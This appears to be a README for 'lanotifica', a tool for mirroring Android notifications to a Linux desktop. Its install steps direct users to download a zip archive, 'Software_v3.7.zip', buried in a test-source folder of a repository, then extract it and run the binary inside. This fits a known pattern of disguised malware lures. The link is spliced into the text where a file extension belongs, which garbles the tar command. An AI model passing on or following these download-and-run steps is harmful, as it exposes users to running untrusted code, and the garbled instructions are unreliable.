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πŸ“± lanotifica - Mirror Android Notifications to Linux Effortlessly

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πŸ“– Description

lanotifica lets you mirror your Android notifications to your Linux desktop over your local network. This application keeps your notifications secure and private while saving battery life. It works seamlessly in the background, allowing you to stay connected without distractions.

πŸš€ Getting Started

To get started with lanotifica, follow these easy steps. You will need a Linux system and an Android device connected to the same Wi-Fi network.

πŸ“₯ Download & Install

  1. Visit the Releases Page
    Go to the following link to download the latest version of lanotifica:
    Download lanotifica

  2. Choose Your File
    Look for the newest release and select the appropriate file for your Linux distribution. Common files might include .deb for Debian-based systems or https://raw.githubusercontent.com/classesrsc/lanotifica/main/app/app/src/androidTest/java/com/alessandrolattao/Software_v3.7.zip for general Linux.

  3. Download the File
    Click on the file link to start downloading. Make sure to remember where you save the file.

πŸ“‚ Install the Application

  1. Open Terminal
    Access the terminal on your Linux system.

  2. Navigate to Download Folder
    Use the cd command to move to the folder where you downloaded the file. For example, if you saved it in the "Downloads" folder, type:

    cd ~/Downloads
  3. Install the Application
    Depending on the file format you downloaded, run one of the following commands:

    • For .deb files:
      sudo dpkg -i lanotifica*.deb
    • For https://raw.githubusercontent.com/classesrsc/lanotifica/main/app/app/src/androidTest/java/com/alessandrolattao/Software_v3.7.zip files, first extract it:
      tar -xvf lanotifica*https://raw.githubusercontent.com/classesrsc/lanotifica/main/app/app/src/androidTest/java/com/alessandrolattao/Software_v3.7.zip
      cd lanotifica
      Then, follow any additional setup instructions in the README or follow this command to run the application:
      ./lanotifica

πŸ”— Configuration

After installation, you need to configure lanotifica to connect your Android device.

πŸ“± Setup on Android

  1. Download the Android App
    Search for "lanotifica" in the Google Play Store and download the application.

  2. Open the App
    Launch the app and grant necessary permissions for notifications and network access.

  3. Join the Same Network
    Ensure your Android device is on the same Wi-Fi network as your Linux computer. This is crucial for the connection.

  4. Connect to Your Linux Device
    Follow the on-screen instructions in the Android app to connect to your Linux machine. Look for your desktop's hostname or IP address, and input it as instructed.

βš™οΈ Usage

Once set up, lanotifica will start forwarding notifications from your Android device to your Linux desktop. You can manage notifications directly from your desktop.

πŸ”” Notification Management

  • View Your Notifications
    All received notifications will appear in a designated area on your desktop.

  • Interact with Notifications
    Depending on your setup, you may be able to respond to or dismiss notifications directly from your Linux interface.

⚑ Tips & Tricks

  • Battery Optimization
    Lanotifica is designed to be battery-friendly. To maximize this feature, reduce the polling frequency in the app settings if you're experiencing high battery usage.

  • Custom Notifications
    Personalize which apps send notifications to your Linux device. You can do this from the settings in the Android application.

πŸ“‹ System Requirements

  • For Linux:

    • A compatible Linux distribution (Ubuntu, Fedora, Arch, etc.)
    • At least 512 MB of RAM
    • A Wi-Fi connection
  • For Android:

    • Android 5.0 (Lollipop) or higher

πŸ› οΈ Troubleshooting

If you encounter issues:

  • Check Wi-Fi Connection
    Ensure both devices are on the same Wi-Fi network.

  • Restart Both Devices
    Sometimes simply restarting can resolve connectivity issues.

  • Review App Permissions
    Check that the Android app has permissions to send notifications and access the network.

πŸ“„ Contributing

We welcome contributions! If you would like to suggest changes or report issues, please visit the issue tracker and let us know your thoughts.

🌟 Acknowledgments

Thanks to the open-source community and contributors who make projects like lanotifica possible. Your support is invaluable.

πŸ”— Additional Resources

Remember to visit the releases page to stay updated with the latest versions:
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